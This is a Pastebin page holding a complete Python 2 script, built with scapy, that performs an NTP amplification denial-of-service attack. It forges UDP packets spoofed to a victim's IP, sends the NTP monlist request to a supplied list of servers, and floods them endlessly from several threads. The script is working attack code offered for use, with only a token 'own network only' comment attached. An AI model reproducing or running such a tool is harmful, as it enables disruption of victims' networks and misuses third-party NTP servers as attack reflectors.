ItzStaze

NTP Amplification

Dec 18th, 2015
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.06 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. #NTP Amp DOS attack
  7. #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
  8. #FOR USE ON YOUR OWN NETWORK ONLY
  9.  
  10.  
  11. #packet sender
  12. def deny():
  13. #Import globals to function
  14. global ntplist
  15. global currentserver
  16. global data
  17. global target
  18. ntpserver = ntplist[currentserver] #Get new server
  19. currentserver = currentserver + 1 #Increment for next
  20. packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
  21. send(packet,loop=1) #SEND IT
  22.  
  23. #So I dont have to have the same stuff twice
  24. def printhelp():
  25. print "NTP Amplification DOS Attack"
  26. print "By DaRkReD"
  27. print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  28. print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  29. print "NTP serverlist file should contain one IP per line"
  30. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  31. exit(0)
  32.  
  33. if len(sys.argv) < 4:
  34. printhelp()
  35. #Fetch Args
  36. target = sys.argv[1]
  37.  
  38. #Help out idiots
  39. if target in ("help","-h","h","?","--h","--help","/?"):
  40. printhelp()
  41.  
  42. ntpserverfile = sys.argv[2]
  43. numberthreads = int(sys.argv[3])
  44. #System for accepting bulk input
  45. ntplist = []
  46. currentserver = 0
  47. with open(ntpserverfile) as f:
  48.     ntplist = f.readlines()
  49.  
  50. #Make sure we dont out of bounds
  51. if numberthreads > int(len(ntplist)):
  52. print "Attack Aborted: More threads than servers"
  53. print "Next time dont create more threads than servers"
  54. exit(0)
  55.  
  56. #Magic Packet aka NTP v2 Monlist Packet
  57. data = "\x17\x00\x03\x2a" + "\x00" * 4
  58.  
  59. #Hold our threads
  60. threads = []
  61. print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
  62. print "Use CTRL+C to stop attack"
  63.  
  64. #Thread spawner
  65. for n in range(numberthreads):
  66.     thread = threading.Thread(target=deny)
  67.     thread.daemon = True
  68.     thread.start()
  69.  
  70.     threads.append(thread)
  71.  
  72. #In progress!
  73. print "Sending..."
  74.  
  75. #Keep alive so ctrl+c still kills all them threads
  76. while True:
  77. time.sleep(1)
Add Comment
Please, Sign In to add comment